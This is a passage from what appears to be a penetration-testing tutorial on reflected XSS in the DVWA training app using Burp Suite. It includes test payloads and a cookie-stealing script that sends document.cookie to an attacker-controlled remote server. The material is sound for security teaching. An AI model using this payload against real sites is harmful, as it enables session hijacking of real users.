Imagine we have the following vulnerable request, where the name parameter is vulnerable to XSS:

GET /dvwa/vulnerabilities/xss_r/?name=cosa HTTP/1.1 
Host: 192.168.1.72 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://192.168.1.72/dvwa/vulnerabilities/xss_r/ 
Connection: close 
Cookie: security=low; PHPSESSID=3nradmnli4kg61llf291t9ktn1 
Upgrade-Insecure-Requests: 1 

You can catch it with the Burp Suite's proxy, and modify the parameter's value using the common testing string, as follows:

<script>alert(1)</script> 

Quit Intercept is on, and send the request to the server. If you see the web browser, you can see the JavaScript code showing the popup to the user, as follows:

However, the most important thing comes in the Burp Suite; if we see the response generated by the request in the Burp Suite's History section, we can see how the attack appears, as demonstrated in the following screenshot:

As a tip, you can find the XSS writing the <script> string in the search bar. We know the application is vulnerable, and also, the application is not encoding the request, so it is shown directly to the web browser.

The information about user session is stored in a cookie, so we need to extract it from the cookie and send it to another place. For example, the HTML code in response. To extract the user session using this XSS, we are going to use the following testing string:

<script>alert(document.cookie)</script> 

This string shows, in a popup, the value stored in the cookie generated by the application. Cookies are interesting because they are parts of information used by the application that is stored on the client side. So, anything there could be manipulated by the user.

Click on the request, as listed in the History tab and select Send to Repeater. Change the name parameter and introduce the testing string, and click on Go, as shown in the following screenshot:

Of course, if we go back to the web browser, the following session will appear:

Usually, the XSS vulnerabilities are exploited by a lot of people, so, you can take the malicious URL containing the vulnerability and send the session to a file in another server that you control. To do this, use the following string:

<script>document.location='http://[remote_server]/cgi-bin/logit.pl?'+document.cookie</script> 

Additionally, there is an extension called XSS validator, which includes the most common XSS testing strings, and you can use it directly in the Intruder tool, as shown in the following screenshot:

Another option is to create a list of the most used test cases or strings used by a browser or technology, and then launch it from the Intruder tab.